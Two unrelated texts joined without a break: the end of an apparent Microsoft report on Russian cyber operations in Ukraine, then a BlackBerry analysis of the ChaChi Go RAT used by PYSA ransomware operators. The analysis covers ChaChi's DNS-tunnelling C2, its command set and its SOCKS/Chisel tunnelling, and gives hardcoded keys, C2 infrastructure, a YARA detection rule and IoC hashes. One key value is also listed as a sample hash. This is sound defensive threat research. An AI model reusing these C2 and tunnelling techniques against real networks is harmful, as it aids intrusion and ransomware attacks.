attempted to dehumanize Ukrainians by calling for the “denazification” of the country and shifting blame to the US, alleging American biolaboratories were creating bioweapons in Ukraine. Simultaneously, the Kremlin attempted false flag provocations—including plans to disseminate a “very graphic” fake video—to create a pretext for invasion. ## Phase 2: Cyber and Influence Focus Turns to Undermining Kyiv's Foreign and Domestic Support From Late March 2022 to September 2022, Russian forces withdrew from their axes of advance toward Kyiv to focus on Donbas and other then-occupied regions. At this time, Microsoft observed a cyber and influence operational pivot to target material and political support to Ukraine. Microsoft telemetry showed Russian threat actors directing their destructive cyberattacks toward the logistics and transportation sector inside Ukraine, possibly to disrupt weapons or humanitarian flow to the frontlines. Cyber threat actors also conducted robust cyberespionage operations against organizations providing military or humanitarian assistance to Ukraine. AC TINIUM, also known as Gamaredon, conducted multiple phishing campaigns targeting humanitarian aid and resettlement organizations active in Ukraine, and entities involved in war crimes investigations. ## Phase 3: Russia Pairs Kinetic Operations with Doubled-Down Cyber and Influence Operations From September 2022 to Present, following Ukraine’s successful southern and northeastern counteroffensive from late August through September, the Russian government deepened its claims to Ukrainian territory and intensified military operations designed to break the will of the Ukrainian people. Moscow announced a partial military mobilization in late September and illegally annexed Luhansk, Donetsk, Zaporizhzhia, and Kherson regions of Ukraine by early October. Almost immediately after claiming sovereignty over eastern Ukrainian territory, the Russian military launched a barrage of missile strikes on critical energy infrastructure throughout Ukraine’s major cities, cutting heat and power to civilians in the impacted areas as winter set in. Russian cyber threat and influence operators took measures to augment Moscow’s political and military actions during this time. As reported in December, IRIDIUM directed wiper malware attacks against civilian power and water infrastructure in Ukraine, just as the Russian military launched missile strikes on that same infrastructure. # Trends in Cyber Threats Since Russia's Invasion Russian cyber actors have time and again been stymied by a hyper-vigilant and engaged community of cybersecurity professionals within Ukraine and worldwide. This community of defenders has likely blunted the impact of Russian state-affiliated network operations but has not stopped Moscow’s efforts to gain access to and conduct attacks on desired targets. 1. **Using Ransomware as a Deniable Destructive Weapon**: IRIDIUM’s development and deployment of Prestige ransomware against Ukrainian and Polish transportation sector organizations may have been a trial balloon, testing the international community’s ability to attribute espionage operations to Moscow or testing the reaction of Ukraine’s allies to a targeted destructive attack outside Ukraine. 2. **Gaining Initial Access Through Diverse Means**: Throughout the conflict, Russian threat actors have gained initial access to their targets within and outside of Ukraine using a diverse toolkit. Common tactics and techniques have included the exploitation of internet-facing applications, backdoored pirated software, and ubiquitous spearphishing. 3. **Integration of Real and Pseudo Hacktivists for Power Projection**: An evolving landscape of real or pseudo hacktivist groups has played active roles in expanding the reach of Moscow’s cyber presence since the outset of the war. Overall, these groups have served to amplify Moscow’s displeasure with adversaries and exaggerate the number of pro-Russian cyber forces. # Looking Ahead to a Second Year of Russian Cyberattacks and Influence Operations Russia’s destructive cyberattacks and influence operations increased heading into their new military offensive in eastern Ukraine. Recent Kremlin-backed efforts have not been any more successful than any of their previous campaigns in the past year, but there are many indicators we might look for to detect Russian escalation in the digital space. The convergence of Russian cyber hacks and information leaks may soon rise given that several countries supporting Ukraine hold elections. Russia has employed cyber and influence campaigns across western elections to elevate candidates favorable for the Kremlin’s foreign policy objectives. Microsoft is proud to have supported Ukraine’s digital defense since the start of the Russian invasion, and the company’s entire threat intelligence community remains committed to detecting, assessing, and protecting against Russian cyberattacks and online provocations as the war enters its second year.
# PYSA Loves ChaChi: a New GoLang RAT ## Executive Summary The BlackBerry Threat Research and Intelligence SPEAR® Team have been tracking a previously unnamed Golang remote access Trojan (RAT) targeting Windows® systems. We’ve dubbed this RAT ChaChi. This Trojan has been used by operators of the PYSA (aka Mespinoza) ransomware as part of their toolset to attack victims globally, but most recently targeting education organizations. ChaChi is another entry in the expanding list of malicious software written in Go, also known as Golang, which is a relatively young programming language. As this is such a new phenomenon, many core tools to the analysis process are still catching up. This can make Go a more challenging language to analyze. ChaChi has been observed in the wild since at least the first half of 2020 without receiving much attention from the cybersecurity industry. The first known variant of ChaChi was used in attacks on the networks of local government authorities in France, and was listed as an indicator of compromise (IoC) in a publication by CERT France at the time of the attacks. That first variant of ChaChi was very clearly a new tool in the PYSA operator’s arsenal as it lacked the obfuscation, port-forwarding and DNS tunneling capabilities that were employed in the vast majority of observed variants, since those attacks indicated some time was invested to rapidly develop ChaChi into the tool it is today. Since then, BlackBerry analysts have observed the later, more refined versions of ChaChi being deployed by the PYSA Ransomware operators in a campaign that has shifted its focus to targeting educational institutions across the U.S., which has seen a recent increase in activity as reported by the FBI. BlackBerry has conducted many investigations and responded to incidents involving PYSA ransomware in which ChaChi was also identified on hosts in the victim environment. ### Key highlights of the PYSA campaign include: - **Defense Evasion:** PowerShell scripts to uninstall/stop/disable antivirus and other essential services. - **Credential Access:** Dumping credentials from LSASS without Mimikatz (comsvcs.dll). - **Discovery:** Internal network enumeration using Advanced Port Scanner. - **Persistence:** ChaChi installed as a Service. - **Lateral Movement:** RDP and PsExec. - **Exfiltration:** Likely over ChaChi tunnel (not observed). - **Command and Control (C2):** ChaChi RAT. ## Introduction The name ChaChi comes from two key components of the RAT, Chashell and Chisel. These are tools used by the malware operators to perform their intended actions, rather than creating bespoke tools to accomplish this functionality. The first versions of PYSA have been floating around since late 2018. This threat’s name comes from the file extension (.PYSA) used by early variants to rename encrypted files, and from its ransom note that warned victims to “Protect Your System Amigo.” This threat is also sometimes referred to as Mespinoza, so named because of the email address used in the dropped ransom notes. The actors behind the PYSA/Mespinoza ransomware campaigns have not been publicly attributed at the time of writing. The PYSA campaigns are some of the latest in a relatively new breed of malware. Rather than depending on automated propagation to find new victim machines by searching for exploits and vulnerabilities, PYSA campaigns follow the style of “big game hunting” or human-orchestrated and controlled attacks on a given target. This is a notable change in operation from earlier notable ransomware campaigns such as NotPetya or WannaCry. These actors are utilizing advanced knowledge of enterprise networking and security misconfigurations to achieve lateral movement and gain access to the victim’s environments. These newer types of attacks frequently exfiltrate data, steal credentials, and use other commodity malware in addition to bespoke malware such as ChaChi during campaigns. ## PYSA Attacks Change Targets The earliest variant of ChaChi was used in attacks on the networks of local government authorities in France in March of 2020. Since then, PYSA, and therefore ChaChi, have been observed in attacks across a variety of industries. This includes healthcare organizations, private companies, and most notably, a recent surge in attacks against educational institutions as reported by the FBI earlier this year. In these recent attacks, PYSA ransomware has been found across 12 U.S. states and in the UK, in data breaches targeting higher education and K-12 schools. These targeted business verticals have been a focal point for attackers and are continuing to be compromised at an alarming rate. This may be due in part to healthcare and educational organizations being more susceptible to cyberattacks as they are less likely to have established security infrastructures or may lack the resources to prioritize security. Healthcare and education organizations also host large volumes of sensitive data, making them more valuable targets. It is not uncommon for schools and hospitals to have legacy systems, poor email filtering, no data backups, or unpatched systems in their environments. This leaves their networks more vulnerable to exploits and ransomware attacks. It is particularly concerning that attackers are focusing so heavily on education organizations, as they are especially vulnerable. Higher education environments tend to function like miniature cities, with a heavy cultural emphasis on information-sharing. Not only do they host significant quantities of business data; schools also host traffic from students living on campus. These students often have little security awareness training, and they might fall victim to suspicious emails, fail to recognize questionable websites, or download malicious programs onto their personal devices while connected. These factors contribute to these industries being easy but valuable targets to threat actors and may explain the sudden increase in PYSA actors attacking educational institutions. ## Evolution It is possible to map out an approximate timeline for the evolution of ChaChi by taking a number of factors into account such as: - First documented sightings of ChaChi variants in the wild. - First seen dates of C2 Domains extracted from samples of ChaChi. - First occurrences of specific functionality in ChaChi variants. Correlation of each of these data points allows us to give an approximation for the code development timeline for ChaChi. We estimate that ChaChi was first developed no earlier than mid-2019. The actual development time was more likely to be the beginning of 2020. After initial sightings in attacks during the first quarter of 2020, ChaChi’s code was altered to include obfuscation and persistence in late March or early April. Very soon after that, we started seeing ChaChi variants with the added DNS tunneling and Port-Forwarding/Proxy functionality. There have been few noteworthy changes after that point. ## Obfuscation Golang malware has been around for a number of years, but obfuscation of Go malware is still relatively uncommon. The Ekans ransomware appeared to be leveraging a new Go obfuscation technique in December 2019, although the technique was not explicitly named at the time. At the end of 2020, researchers reported the discovery of “BlackRota”, an ELF backdoor written in Go. They declared it “the most obfuscated Go-written malware in ELF format that we have found to date”. The obfuscation used in Ekans, BlackRota and subsequently ChaChi, was “gobfuscate”, a Golang obfuscation tool publicly available on GitHub. BlackBerry analysts observed samples of ChaChi actively using gobfuscate shortly after the release of Ekans, but several months prior to the discovery of BlackRota. Gobfuscate attempts to make a lot of information that would normally be easily available to the researcher very difficult to recover. It obfuscates the runtime symbol table and type information, such as package names, function names etc., by replacing them with randomly generated names, and obfuscating strings by replacing them with functions. This obfuscation was designed with the purpose of avoiding information leakage relating to the Go source code, such as strings, package paths and field names. It has since been adopted by malware authors as a means of hindering analysis and reverse engineering efforts. Since its discovery as a tool for defense evasion, there have been a number of quite successful attempts and blog postings dedicated to automating string de-obfuscation using plugins for both Binary Ninja and Cutter. However, at the time of writing, there is no such plugin or script in existence for IDA. BlackBerry analysts have developed an internal tool – an IDAPython script – to handle string “de-gobfuscation” and subsequently reduce the time required to analyze gobfuscated binaries. Once the de-gobfuscation script is run across the ChaChi binary when loaded into IDA, it will locate all string decoding functions, extract the encoded bytes, and then perform the necessary XOR operation to recover the original strings. These strings are then used to rename all the decoding functions within, where an encoded string was found, and additionally add comments to the disassembly code view where necessary. With the string gobfuscation defeated, there was still the problem of the randomly named packages, etc. On the surface, the obfuscation of the names appeared to be an effective deterrent to analysis. However, when it was investigated more deeply, this was not overly difficult to overcome. Package names are renamed in a consistent and uniform manner such that components of the same package, function etc. share the same random name. When you combine this knowledge with the fact that the function method names remain largely unaffected by the obfuscation, then once the usage of a particular package was discovered, all entries that used the same random name could also be renamed via a simple IDAPython helper script. With the obfuscation defeated, efforts could be refocused on analyzing ChaChi’s functionality and intent. ## Persistence Shortly after its initial execution, ChaChi decodes a service name and service description. Using the decoded service name, ChaChi enumerates all installed services to check if a service with the same name already exists. In this case, it is named “JavaJDBC”. If a service with the specified name is found, then ChaChi will randomly select another service name from a hardcoded, albeit gobfuscated, list of service name strings. After determining an appropriate name to use for service installation, ChaChi then checks to see if it has sufficient administrator privileges to carry out the service creation operation. If ChaChi is not running with administrative privileges, it bypasses its persistence code and begins to initialize command-and-control (C2) communications. If the backdoor is running with administrative privileges, it will install itself as a new service that is configured to auto-start, before manually starting the service. ## C2 Communications ChaChi utilizes two protocols for C2 communications: DNS and HTTP. The primary, preferred method of C2 communication is DNS tunneling using TXT queries. TXT or “text” records were originally intended to allow domain admins to associate arbitrary text with a domain, such as domain ownership information or network and server information. Threat actors have taken advantage of this for their own nefarious needs by encoding data in these TXT queries, which is a form of DNS tunneling. DNS tunneling allows malware authors to communicate in a covert channel that can bypass most firewalls. DNS traffic is widely used, and often blindly trusted with little to no monitoring. DNS requests can also get proxied via internal DNS resolvers, making it more difficult to track infected endpoints. Should the DNS communications fail for whatever reason, ChaChi also contains a failover mechanism where it uses HTTP in the form of encoded POST requests to communicate with its C2 servers. HTTP POST requests are generally used to send data to a server to create or update a resource on that server. ChaChi uses these requests for C2 communications instead. Before it can attempt to establish C2 communications, it must first decode its embedded C2 server domains and IP addresses. ### Decoding C2 IPs and Domains ChaChi is preconfigured with a list of C2 domains for DNS tunneling, as well as IP addresses for HTTP C2 failover. The domains are encoded just like any other string in a gobfuscated binary, using a dedicated function that carries out the XOR decode process. The domain that will be used is chosen at random through the use of “Intn” from the “rand” package, which is seeded by the value returned from an earlier call to “time.Now”. The decoding of the C2 IP addresses is a little more complicated, although not overly so. As with the C2 domains, the inevitable selection of a C2 IP address is also randomized through calls to “time.Now”, “rand.Seed” and “rand.Shuffle”. The C2 IP decoding function takes several arguments: a pointer to the encoded C2 IP array, an integer value indicating the number of encoded IP addresses, and a hex number used in the decoding of each octet of each IP address. The decoding of the C2 IP addresses works as follows: 1. Read a word (2 bytes) at the initial offset into the C2 IP array determined by the earlier shuffle. 2. Subtract the hex number (0xA in all observed cases) from the retrieved value. 3. Convert the result to its base 10 equivalent (thereby creating a single octet of an IP). 4. Repeat 4 times per encoded IP. 5. Join the decoded octets with a "." (thus fully decoding a stored C2 IP address). These steps are repeated until all IP addresses have been decoded. ## Modified Chashell Rather than implement an entirely bespoke means of DNS tunneling, the developers opted to leverage an off-the-shelf solution (or at least components of that solution). They used a package called Chashell that provides a reverse shell over DNS. Chashell operates by taking data from a shell or terminal that it serializes into Protocol Buffers before encrypting it using symmetric encryption in the form of XSalsa20 + Poly1305. This encrypted data is then hex encoded and packed into a TXT query. The response to the TXT query is also subject to the same protocol buffer serialization, encryption, and hex encoding. The default Chashell client takes a target domain and symmetric encryption key at build time, both of which are hardcoded. These are then used to establish the encrypted DNS tunnel to the Chashell server. Once a connection is established, it redirects the standard input/output/error from “cmd.exe” or “/bin/sh” – depending on the operating system target – into the DNS tunnel, thereby creating a reverse shell. The ChaChi operators borrowed the DNS tunneling transport mechanism from Chashell, but it is no longer operating as a simple reverse shell. They instead opted to make several modifications, including the removal of the default action of spawning a reverse shell, and the addition of an extra layer of encoding on some of the data passing through the DNS stream. In effect, Chashell is just a cog in the machine that is ChaChi, so it can achieve covert C2 communications. As mentioned, not all data traversing the DNS tunnel is subjected to this additional encoding, which is reserved for a specific proto-buffer field, of which there are five in use by Chashell: - **ClientGUID:** This field is an ID that uniquely identifies messages from a specific client so they can be correctly processed by the server. ClientGUID fields are present in all messages. - **ChunkStart:** This message is used to identify messages that belong to the same “chunk”. - **ChunkData:** This is the message which transports the core data that will traverse the tunnel. In the case of a standard Chashell, this would contain the output of the standard streams. These messages contain data that needs to be reconstructed based on the information provided by a “ChunkStart” message. - **PollQuery:** These messages are like heartbeat messages from the client to the server to query if there are commands/data waiting to be transmitted. - **Infopacket:** These messages are used to transport the hostname of the client to the server as a means of more easily identifying active Chashell sessions. Only the “ChunkData” messages, in particular the “packet” field of that message, are subjected to the additional custom encoding that is not present in the standard Chashell client source code. The encoding in “ChunkData” messages happens immediately prior to serializing the data into a protocol buffer, and it is performed in two steps. Step one involves Base64-encoding the data, which is then passed to another function that performs XOR encoding using a hardcoded string. Now that we understand how data is encoded, serialized, and encrypted, and we can recover both the XOR key and symmetric encryption key through de-Gobfuscation, it is possible to decrypt ChaChi traffic. We will discuss the decryption process in more depth later. In all samples found and analyzed, the XOR key used was “d*ck” (replace * with an i) and the encryption key was “37c3cb07b37d43721b3a8171959d2dff11ff904b048a334012239be9c7b87f63”. This leaves little doubt that it is a singular threat actor or group behind all attacks where a ChaChi binary was found. ### Alternative/Failover C2 As already mentioned, ChaChi will initially attempt to establish C2 communications over DNS via Chashell's DNS Streams. Should those initial attempts fail, it will failover to HTTP. This failover method is not ideal for the ChaChi operators. It does not offer the encryption afforded to the DNS tunneling, and it is nowhere near as covert. The HTTP C2 communications are performed using POST requests to one of the randomly selected C2 IPs decoded earlier. The content of the HTTP POST is encoded using Base64 and XOR encoding to offer some level of data protection, in the same way as the data was encoded prior to being serialized into the “ChunkData” messages in the case of DNS tunneling. Should the C2 check-in fail, it will rotate through the other decoded C2 IPs in an attempt to create a connection. If a connection is established, ChaChi will encode and send POST requests to the C2 and process its responses. ## Decrypting C2 Traffic As the use of HTTP for C2 communications is less complicated and involves fewer steps when compared to DNS tunneling, this section will focus on decryption of DNS traffic. Decryption of both HTTP and DNS C2 traffic is possible because, once we obtain both the XOR and encryption keys, we can reverse the process that has taken plaintext data and converted it to an encrypted form. Each phase in the encoding and encryption process is reversible. To do this, we perform the following steps: 1. Retrieve DNS TXT queries from packet captures or DNS logs. 2. Strip the domain name and “.” separators. 3. Decode the string from hex back to bytes. 4. Run the decoded content along with the recovered encryption key through a XSalsa20+Poly1305 decryption process. 5. De-serialize the decrypted data in order to access the packet field of the “ChunkData” messages – other message types are fully decrypted at this point. 6. Apply XOR decoding using the recovered XOR key to the packet field of each “ChunkData” message. 7. Base64-decode the result of the XOR operation. The result of the above process yields decrypted and de-serialized protocol buffers as well as the original data that was encoded and packed into “ChunkData” packets. Given our knowledge of the Chashell protocol buffer message structure, we just need to search through the proto-buffer messages for “ChunkStart” messages. These will inform us about both the number of chunks that make up the original data, and also the exact “ChunkData” messages containing that data. If we do this successfully (and apply some formatting), we are able to decrypt the C2 traffic that is exchanged between the ChaChi server and client. If the ChaChi operators were leveraging a standard Chashell build, we would see something like the content below in the decrypted traffic, where it is evident that a reverse shell has been established. ## C2 Check-In and Commands The initial check-in data that is sent to the C2 server takes the following form: The “ID” is a hardcoded string value that varies between samples, but generally starts with a 1, 2 or 9, followed by 3 digits (e.g., “1018”). The last three digits are decoded from a gobfuscated string, and the first digit is prepended to the check-in string shortly before check-in. The MD5 hash is the result of hashing a randomly generated integer value that changes every time ChaChi is executed. The computer name and username are obtained through the execution of two PowerShell commands that retrieve the values stored in the relevant environment variables. There is a second check-in which occurs that contains just an ID, this time with 2 prepended instead of 1, and the same MD5 from the first check-in. No computer or username is used in the second check-in. Both check-in strings are encoded and encrypted using the method discussed earlier, but it is the responses to each of these individual check-ins that decides what happens next. Below we can see the two C2 check-ins, and the responses from the server: In the screenshot above, we can see the first check-in string. The response from the server to this first check-in is a string that contains the generated MD5 hash that was passed in the check-in, but with “-zig” appended to it. The first character of this response (the “9”, in this case) is XOR’d with the first character of the XOR key that is also used in the C2 encoding process (“d” in the sample that generated the above traffic). The result of this XOR operation is further XOR’d with the first, and in this case only, character returned as a response to the second C2 check-in (the letter “m”). The result of these two XOR operations is the number “0”. This resultant integer, which is not always zero, is the command ID component of a larger string that is passed to a function that will decide the next action that ChaChi has been instructed to take. The expected argument for the command selection function takes the form shown in the image below. The number of arguments expected varies depending on the command ID supplied to ChaChi, but no more than two arguments are expected to follow the command ID. Each element is delimited by triple forward slashes, “///”: ### Command ID to Operation Mapping | Command ID | Action | |------------|--------| | 1 | Decode Base64 encoded arguments and execute them as a command on the host | | 2 | Start reverse SOCKS5 proxy server by connecting to provided client address:port | | 3 | Start reverse SOCKS5 proxy server by connecting to provided client address:port | | 4 | Restart C2 session | | 7 | Start Chisel client | | 9 | Uninstall backdoor – delete service and binary | ## Command Execution Should the ChaChi operators want to execute a command or run a program on the infected host, the expected command structure would look like the example below. The command to be executed (including any arguments and switches) is encoded into a single Base64 string. ChaChi will handle the decoding and parsing of the string into a command line array, splitting the decoded string on every space encountered. If an attacker wanted to execute something as simple as “whoami”, the command received by ChaChi would look like the string below, where “whoami” is in Base64 encoded form. ChaChi will parse this string, identify it as a command, decode it from Base64, and reconstruct the command line string. If the program name itself contains no path separators (as is the case in this example), the underlying Go function “os.exec.Command” will resolve the complete path name where possible. Otherwise, it uses the name directly as the path before executing the command. ## Reverse SOCKS5 Proxy SOCKS proxies are a much-used tool by Red Teams and threat actors, as they offer a level of anonymity by making traffic appear as if it is originating from one machine when it is in fact coming from a different machine. SOCKS proxies and in particular reverse SOCKS proxies, can also provide attackers with a means of persistent access into an otherwise inaccessible private network from a machine on the Internet. The developers of ChaChi again opted to avoid reinventing the wheel when they decided to add SOCKS proxy functionality into ChaChi. They have borrowed yet more code, this time from what appears to be rsocks. “Rsocks” is a reverse SOCKS5 client and server, but only the server-side code has been integrated into ChaChi. A default rsocks build does not offer any form of encryption of the traffic traversing the proxy, so the ChaChi authors decided to add that functionality to their version of the code. They did this by swapping out the standard call to “net.Dial” with the more secure alternative “crypto[.]tls[.]DialWithDialer”, which encrypts the proxied traffic using TLS. When the ChaChi operators wish to start the proxy server on the infected host, the expected command structure would look like the example in the picture below. In the case of the reverse SOCKS5 proxy, a command ID of 2 or 3 is accepted, because both have the exact same effect. The client address can take the form of an IP or domain. The example in the image below is trying to connect to a client listening on the same machine (i.e., 127.0.0.1) and port 8080. This is the equivalent of running “rsocks -connect 127.0.0.1:8080”. In the case of the ChaChi operators, the “127.0.0.1” could also be replaced by one of their public C2 IPs or domains. Base64 encoding is not a requirement for the reverse socks proxy. ChaChi simply parses out the client address and port, joins them with a colon, and passes that new string to the reverse SOCKS5 proxy setup code that sets up the proxy session. With a SOCKS5 proxy session established, the ChaChi operators can now run tools such as nmap through the proxy in order to scan the compromised internal network. As this is a reverse proxy, it is the server component that initiates the connection to the client. This is obviously the better option for the operators of ChaChi, because they will be operating from behind enemy lines, so to speak. It is notable that the string “Starting server” from rsocks is not present in ChaChi. Instead, it is replaced with “Starting client”, which appears in other Golang-based SOCKS proxy code such as the rclient component of rsockstun. It is possible that this is a remnant of experimentation during the development process, as the first iteration of ChaChi was confirmed by BlackBerry analysts as using go-socks5, which is yet another Golang based SOCKS5 server. This indicates that ChaChi developers seem to take what they require and leave what they don’t. ## New C2 Session Command ID 4 triggers a new C2 session. No other arguments are expected or even parsed if they should be provided. This option would be useful in the event of a session timeout or if the session has become unresponsive and the attackers wanted to establish a fresh session. The other choice that is made is whether to connect over DNS or HTTP, but this is automatically determined by which connection protocol was successful in earlier attempts, rather than through any external action. ## Chisel Client Chisel is an application that simplifies port-forwarding and is useful in scenarios where an attacker might not have access to an SSH client or server, as SSH is normally the tool of choice for port-forwarding when it’s available. However, the majority of Windows operating systems either do not have it installed, or it is disabled by default. Port-forwarding also has some other benefits that would prove useful to the authors of ChaChi, which is potentially why they decided to include the Chisel client in their backdoor. As described by its README on GitHub, “Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH … Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.” The Chisel client is activated using command ID 7. It expects to receive the IP or a domain name of the Chisel server and a port. As we will see later, this is exposed on the Chisel Server (which is the attacker’s box) that will be forwarded to the local SOCKS port, which is 1080. ChaChi will parse the address of the Chisel server and prepend it with http://, then append it with “:443”. The provided port is concatenated with two other decoded strings to form a string that takes the form “R:0.0.0.0:<port>:socks”. The constructed components are passed to a function that generates a new Chisel client, which – if it were run with a standalone Chisel binary – would look something like this. In effect, this will establish a reverse port forwarding connection to the Chisel server located at evildomain[.]xyz and listening on port 443. It will forward any connections made to the server port 1337 to the local socks port, 1080, on the compromised host. Because address “0.0.0.0” is specified as the local address on the server side, this would allow access to port 1337 from any interface on the server rather than just localhost. This should therefore allow the attackers to connect from anywhere on the Internet via evildomain[.]xyz:1337 directly into the compromised network and have their traffic emerge on port 1080. Should they wish to, they could even have the rsocks server connect out via the Chisel tunnel. An interesting point here is that the ChaChi operators have hard coded some of the strings used in this Chisel command string, namely the use of “HTTP” and port “443”. This would cause HTTP traffic to traverse the network on a non-standard port (i.e., 443) which might be a red flag to an observant network analyst. ## Uninstalling the Backdoor As with command ID 4, command ID 9 does not expect any further arguments to be supplied. When the ChaChi operators execute command 9, it undertakes the process of uninstalling itself from the infected host machine. This is done in two stages. The first step involves deletion of the previous installed service using the Windows utility “sc”. As can be seen above, immediately following the service deletion, ChaChi retrieves the path to the %TEMP% directory using PowerShell. This is done because ChaChi will create and write a batch file, “del.bat”, to the temp directory that will carry out the task of deleting the ChaChi binary from its location on disk. ## Network Infrastructure Analysis of extracted networking indicators of compromise (IOCs) can yield some information that can be used as TTPs, and which hint at past (and potentially even current) targets. By mapping out a timeline of first-seen dates for domains extracted from ChaChi binaries, we can observe a period of time from late 2019 up to the first quarter of 2021 where the PYSA operators were most active. A total of 19 new domains were created in that period, which acted as the C2 for ChaChi. From our data, ChaChi domains can and have been created several months prior to an actual attack taking place. The same ChaChi binaries, and therefore domains, were even used in multiple attacks. When we dig only a little deeper into these domains, we see what could be used as a TTP for the PYSA operators; their overwhelming preference for using the domain name registrar Namecheap: | Domain | Registrar | |---------------------------------------|--------------------| | starhouse[.]xyz | Namecheap Inc. | | dowax[.]xyz | Namecheap Inc. | | ntservicepack[.]com | OVH Hosting | | reportservicefuture[.]website | Namecheap Inc. | | spm[.]best | Namecheap Inc. | | blitz[.]best | Namecheap Inc. | | accounting-consult[.]xyz | Namecheap Inc. | | statistics-update[.]xyz | Namecheap Inc. | | sbvjhs[.]club | Namecheap Inc. | | sbvjhs[.]xyz | Namecheap Inc. | | wiki-text[.]xyz | Namecheap Inc. | | visual-translator[.]xyz | Namecheap Inc. | | firefox-search[.]xyz | Namecheap Inc. | | serchtext[.]xyz | Namecheap Inc. | | englishdict[.]xyz | Namecheap Inc. | | englishdialoge[.]xyz | Namecheap Inc. | | english-breakfast[.]xyz | Namecheap Inc. | | pump-online[.]xyz | Namecheap Inc. | | cvar99[.]xyz | Namecheap Inc. | | productoccup[.]tech | Namecheap Inc. | | transnet[.]wiki | Namecheap Inc. | Taking the IP Addresses from ChaChi binaries and mapping them to their respective ASNs and Regions, we can see IP addresses based in either Romania or Germany account for over 50% of the total. Approximately 60% of the IP addresses are sourced from just two ASNs: | IP ADDRESS | ASN | Region | |----------------------|----------------------------------|--------| | 23.83.133[.]136 | AS19148 - LEASEWEB-USA | U.S. | | 172.96.189[.]167 | AS20068 - HAWKHOST | CA | | 172.96.189[.]22 | AS20068 - HAWKHOST | CA | | 172.96.189[.]246 | AS20068 - HAWKHOST | CA | | 198.252.100[.]37 | AS20068 - HAWKHOST | CA | | 185.185.27[.]3 | AS201206 - LINEVAST | DE | | 160.20.147[.]184 | AS30823 - COMBAHTON | DE | | 45.147.228[.]49 | AS30823 - COMBAHTON | DE | | 45.147.229[.]29 | AS30823 - COMBAHTON | DE | | 45.147.230[.]162 | AS30823 - COMBAHTON | DE | | 45.147.230[.]212 | AS30823 - COMBAHTON | DE | | 185.186.245[.]85 | AS40824 - WZCOM-US | U.S. | | 185.183.96[.]147 | AS60117 - HS | NL | | 194.5.249[.]137 | AS64398 - NXTHOST | RO | | 194.5.249[.]138 | AS64398 - NXTHOST | RO | | 194.5.249[.]139 | AS64398 - NXTHOST | RO | | 194.5.249[.]18 | AS64398 - NXTHOST | RO | | 194.5.249[.]180 | AS64398 - NXTHOST | RO | BlackBerry researchers continuously track and monitor C2 servers by using a variety of fingerprinting and discovery techniques, storing all discovered C2 infrastructure in our internal Threat Intelligence systems. One of the above IP addresses happened to appear in one of our intelligence platforms in early December of 2020 and was active for a period of just over 24 hours. The IP (45.147.230[.]212) is hosted by AS30823 Combahton in Germany. It triggered one of our sensors for PowerShell Empire, artifacts of which have been observed on systems following a PYSA ransomware incident. Checking the domain resolutions on the extracted IP addresses can also provide some interesting results and intelligence. The IP address 194.187.249[.]102 was extracted from a sample of ChaChi along with a domain used as a C2 server. This domain was sbvjhs[.]xyz. Unsurprisingly, the name servers, “ns1” and “ns2” for that domain also resolve to the same IP address. But what is interesting is that the other domain that also resolves to that same IP is login.bancocchile[.]com. The legitimate domain for Banco Chile is hosted on a “.cl” Top Level Domain (TLD) and does not have the extra “c” between the words “Banco” and “Chile”. This is a domain that was potentially intended for one of two purposes: - A phishing domain that is targeting either employees or customers of Banco Chile. - A domain used to stage and deliver a copy of ChaChi to unsuspecting clickers of a malicious link. Either one or even both options are possible, considering these domains were active simultaneously and for several months; their last-seen dates were as recent as June 1, 2021. Coincidentally, both nameserver domains and the fake Banco Chile domain were all active before, during, and after the reported Breach at another Chilean bank (Banco Estado), which was reported in September 2020 and attributed to REvil ransomware. ## Conclusion ChaChi is a custom RAT developed using the relatively new programming language Go (aka Golang). By using Go to develop ChaChi, PYSA ransomware operators can frustrate detection and prevention efforts by analysts and tools unfamiliar with the language. The earliest version of ChaChi lacked several features of more mature malware, but its rapid evolution and recent deployment against national governments, healthcare organizations, and educational institutions indicates this malware is being actively developed and improved. ChaChi is a powerful tool in the hands of malicious actors who are targeting industries notoriously susceptible to cyberattacks. It has demonstrated itself as a capable threat, and its use by PYSA ransomware operatives is a cause for concern, especially at a time when ransomware is experiencing alarming success through a string of high-profile attacks including campaigns conducted by REvil, Avaddon and DarkSide. Organizations ignoring this threat do so at their own risk, in a year of one-after-another cybersecurity disasters. ## Appendix ### Yara Rule The following Yara rule was authored by the BlackBerry Threat Research Team to catch the threat described in this document: ``` rule Mal_Backdoor_ChaChi_RAT { meta: description = "ChaChi RAT used in PYSA Ransomware Campaigns" author = "BlackBerry Threat Research & Intelligence" strings: $go = { 47 6F 20 62 75 69 6C 64 20 49 44 3A } $dnsStream = { 64 6E 73 53 74 72 65 61 6D } $socks5 = { 53 4F 43 4B 53 35 } $chisel = { 63 68 69 73 65 6C } condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them } ``` ### Indicators of Compromise (IoCs) At BlackBerry, we take a prevention-first and AI-driven approach to cybersecurity. Putting prevention first neutralizes malware before the exploitation stage of the kill-chain. By stopping malware at this stage, BlackBerry solutions help organizations increase their resilience. It also helps reduce infrastructure complexity and streamline security management to ensure business, people, and endpoints are secure. | Indicator | Type | Description | |-----------------------------------------------------------------------------------|---------------|--------------------------------------------------| | 12b927235ab1a5eb87222ef34e88d4aababe23804ae12dc0807ca6b256c7281c | SHA256 | ChaChi | | 8a9205709c6a1e5923c66b63addc1f833461df2c7e26d9176993f14de2a39d5b | SHA256 | ChaChi | | 37c3cb07b37d43721b3a8171959d2dff11ff904b048a334012239be9c7b87f63 | SHA256 | ChaChi | | 0bcbc1faec0c44d157d5c8170be4764f290d34078516da5dcd8b5039ef54f5ca | SHA256 | ChaChi | | 6eb0455b0ab3073c88fcba0cad92f73cc53459f94008e57100dc741c23cf41a3 | SHA256 | ChaChi | | 89b9ba56ebe73362ef83e7197f85f6480c1e85384ad0bc2a76505ba97a681010 | SHA256 | ChaChi | | 701791cd5ed3e3b137dd121a0458977099bb194a4580f364802914483c72b3ce | SHA256 | ChaChi | | c9bed25ab291953872c90126ce5283ce1ad5269ff8c1bca74a42468db7417045 | SHA256 | ChaChi | | e47a632bfd08e72d15517170b06c2de140f5f237b2f370e12fbb3ad4ff75f649 | SHA256 | ChaChi | | 0fd13ece461511fbc129f6584d45fea920200116f41d6097e4dffeb965b19ef4 | SHA256 | ChaChi | | 3a6ddc4022f6abe7bdb95a3ba491aaf7f9713bcb6db1fbaa299f7c68ab04d4f4 | SHA256 | ChaChi | | 5d8459c2170c296288e2c0dd9a77f5d973b22213af8fa0d276a8794ffe8dc159 | SHA256 | 